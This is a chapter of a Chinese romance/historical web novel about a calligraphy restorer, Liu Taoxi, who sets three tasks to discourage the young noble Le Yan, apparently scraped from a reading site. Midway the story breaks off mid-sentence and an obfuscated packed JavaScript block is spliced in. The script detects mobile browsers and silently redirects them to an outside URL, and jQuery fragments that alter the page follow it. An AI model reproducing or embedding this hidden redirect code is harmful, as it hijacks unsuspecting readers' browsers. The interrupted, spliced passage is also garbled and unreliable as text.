18. 任务

作品:《人间春色

    柳桃溪坐在靠窗的桌子前,双手拖住了自己的头。


    她没想到事情变成了这样。


    自从在马车里拒绝了乐宴的拜师请求后,她的小院就再也没安静过,每天一大清早就有一个红衣男子在院子里那棵树上坐着,盯着柳桃溪李栖月忙活修复的事,雷打不动的盯。


    她也试过劝他回去,但每次乐宴都只是说他就是来看看,说些既然柳姑娘不愿意教我,那他就自己偷学类似的话。


    就这样过了五天,侯府迎来了秋天的第一场大雨,李栖月也实在受不了,撑着伞推开了柳桃溪的房门。


    她一进门,就看见柳桃溪拖着自己的头,在桌前听着窗外的雨。


    讲真,李栖月还没见过她这个样子。


    柳桃溪一直很独立很早慧,数年间无论遇见何事,都有一种温和礼貌的疏离,充满凡尘俗世与我无关,我的微笑纯属礼貌的脱离感。而这样明显发愁的样子,从前从未有过。想到原因,李栖月的恼意就随着雨丝哗啦啦流干净了,几步走到柳桃溪身边,汇报今天的情况:“师父,你交代我的那两幅书画已经晾着了,就是最近大雨,干的有点慢,不过我一直盯着,估计也不会再也什么问题。”


    柳桃溪点头道:“好,我知道了。你也别太累着,隔一段时间去看看就行,最近风少,少去几次也不会出问题的。”


    李栖月:“嗯,我知道的师父。”


    徒弟乖巧点头,讲了两句话就又陷入了沉静,柳桃溪倚着桌子,思考着乐宴今天又会在那个墙头蹲守。


    下雨了,他应该会走的吧。


    要不出去看看?


    不行不行,出去要是见着了,又该甩不掉了。


    柳桃溪心里的两个小人在打架,李栖月看了她一会儿,又忽然开口道:“师父,乐世子都在外头守几天了,总不能一直这样吧,有什么……不能谈谈吗。”


    每次做事背后都有乐宴的目光,如芒在背的无法忽略,李栖月不知道他们两个之间发生了什么,任由乐宴盯了好几天,如今下了雨他还来,那恐怕以他的决心,这事不解决乐宴绝不会罢休。


    柳桃溪揉着自己的太阳穴道:“谈?你看他的样子,我有谈的余地吗?”


    李栖月泄气道:“他就不能找其他的修复师吗?就因为我们赢了比试,在这住了,所以就近水楼台认准我们了?这什么道理!”


    近水楼台?


    柳桃溪放下了手。


    抛开所有来看,认准一个最近的修复师缠是最省事的,可她这边久攻不破,乐宴却还死死认准她,那个孟邵谦为何不劝乐宴呢。


    总该不会还怀疑着她吧。


    柳桃溪越想越头疼,而李栖月抱怨着抱怨着,突然想到了什么点子,眼睛一亮,拉过柳桃溪耳语了一阵。


    柳桃溪听罢顿时明白了点什么,当即起身道:“拿伞,我出去试试。”


    雨还在下,雨势只比上午小了一点,院里铺好的青石板路有些不平,积攒了些浅浅的水洼,和打湿的落叶一起,在地上画出一副凌乱但雅致的画。


    柳桃溪换了一身稍微亮色一点的粉紫色,撑着伞走到了屋外。她抬头找了一圈儿,在那棵树那找到了人。


    乐宴今天穿的衣服是黑色的,此时撑着一把伞坐在树杈上,背对着柳桃溪,像一只淋雨的鹰在歇脚。


    柳桃溪握紧了手里的伞,小心避开了水洼才走了过来,轻声问道:“乐小世子?”


    那黑色的“鹰”抖了抖羽毛,转过了脸。


    他脸上沾了点雨水,身上也沾了些,动作间树有些颤动,雨水便零零落落的散下来撒向柳桃溪,柳桃溪一时躲闪不及淋了点水,很快就也反应过来,把伞摆正挡了剩下的水。等她再移开伞,乐宴已经站在她眼前了。


    “怎么站在树下?你衣服都快淋湿了。”


    乐宴表情有些不解,似乎是没想到柳桃溪会走过来,不过他也很快回想过柳桃溪的态度,继续道:“如果柳姑娘是想来劝我回去,就不必废口舌了。我还是那句话,只要有一线希望,我都不会放弃。”


    柳桃溪摇摇头笑了,道:“我不是来劝你的,我是来给你布置任务的。”


    李栖月说的对,不能再这样下去,与其咬死不答应让乐宴更加逆反,不如布置一个常人难以坚持难以完成的任务,让他主动放弃。


    柳桃溪思忖片刻道:“三个任务,分别考验你的耐心,细心,还有恒心,如果你能做到,我就教你修复的技艺,那套卷宗……我也会尽力帮你。”


    乐宴眼睛瞬间亮起,道:“你说。”


    “第一,耐心。我要你从一写到十写三千遍,分别用楷书、隶书、小篆三种字体写,中间不能有错漏,字也不能不端。”


    “好!”


    “第二,细心。后院的隔间有我徒弟平日罚抄写的东西,你需要把这些全部整理出来,分门别类,并找出所有文字的出处,哪些字写的不好,每一遍临摹哪里有不相像的地方,通通都要标注出来,至少找出一百处不同。”


    “行!”


    “第三,静心,每天打坐两个时辰,必须计时,中间有人打扰则停止计时,直到满两个时辰为止。”


    “听你的!”


    乐宴听得仔细,回复简短一句比一句铿锵有力,柳桃溪看的出乐宴眼中重燃的火焰,只得叹气道:“别高兴太早,这些可不容易做到,限时五天,五天交不上来,此事往后就不许再提。”


    “柳姑娘既然给了机会,我定会全力以赴!”乐宴展颜一笑,后退一步认真拱手行礼。


    黄色的油纸伞把他那张明艳俊美的脸印上了一层温柔的暖色,在秋天暗沉阴郁的肃朽氛围里,很是雅致温和。叫柳桃溪移不开眼睛,又叫柳桃溪对乐宴有些陌生。


    她好像没有办法把眼前的这个人和曾经那个小孩放在一起看待了。


    乐宴确实成长了很多。无论这种变化是从何时开始,又是来源于谁,都不重要。重要的是柳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675834|171267||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    桃溪看出来了,但这对于她来说还不够。


    柳桃溪心里好似蒙上了一层灰暗纠结的软膜,想不明白自己是希望他能做到,还是不希望他做到。


    交给天意吧。


    柳桃溪目送乐宴离开,抬头看了看灰蓝的天,转身回去了。


    今天雨声淅沥,很合适睡一觉。


    秋天的柳桃溪似乎格外乏力一些,一觉睡醒后没立马起来,在床上坐着暖了一会儿,一直等到外头小厮敲门,才动身起来开门,接过来了一只盒子。


    这盒子有些寒酸,但看得出来已经是尽心尽力,已经包的很紧很规整了。柳桃溪一看就知道是谁送的,了然一笑,把盒子放在了床头。


    既然是礼物,自然是等他完成嘱咐后再给他。


    如柳桃溪所料,书画会的那位夫人注意到了她,虽然没有立刻找来,但等雨停了之后,还是差人找她一叙了。


    不过另柳桃溪没想到的是,那位夫人是和她丈夫,提刑司的一位主官一起来的,还带着那副临冬寒帖。


    酒楼。


    李栖月乖乖在门外守了快一个时辰,等柳桃溪从隔间出来后,立马凑上前去问情况。


    柳桃溪看起来心情不错,摸了摸李栖月的脑袋道:“不用担心,顺利的很,回去吧。”


    李栖月有些不满,小声道:“师父你怎么又有事情不告诉我?都找上门来了,结果就我一个是傻子,什么也不知道。”


    “不是你这个年纪该干的事情,我告诉你干什么?”柳桃溪知道李栖月是在担心她,又安慰道:“放心,等你该知道的时候,我自然回告诉你。”


    这次谈的很顺利,接下了临冬寒帖这一单,也引起了提刑司的兴趣,而那位主官的态度,是有点想拿些案子试探她本事的。


    提刑司虽只在京城设立,但下面各地的提行机关也是有的,柳桃溪之前在桃李县做过点书画鉴定和判案相关的工作,在每年上报的章则里有过名字,又因作用特殊,故而只要露了脸引起兴趣,提刑司没道理不对她好奇。


    京城案件每日都会挤压不少,柳桃溪不愁找不到她的专长之处,日后去了那,柳桃溪自有办法去档案库一探当年究竟。


    做完了这件事,柳桃溪心里骤然放松,拉着徒弟下楼回家,一路问起府上的事。


    李栖月大致交代了两句,看了眼师父的脸色,又继续道:“而且乐世子也挺乖的,抱了一大堆的书去研究,都没在院子里盯我了!”


    “那倒不错。”柳桃溪点头轻笑,似乎想起了什么,又迟疑着问道,“侯府需要修复的书画还有几件?”


    李栖月掰着指头算了一下:“大概也就剩下3件了,最多半个月就可以完成。”


    半个月吗?也好。


    桃桃溪点点头,不管乐宴能不能做到,半个月后她是一定会离开侯府的,到时乐宴来与不来,就看他自己的心有多坚定了。


    正好也让她看看,他到底能为“陶姣”做到哪一步。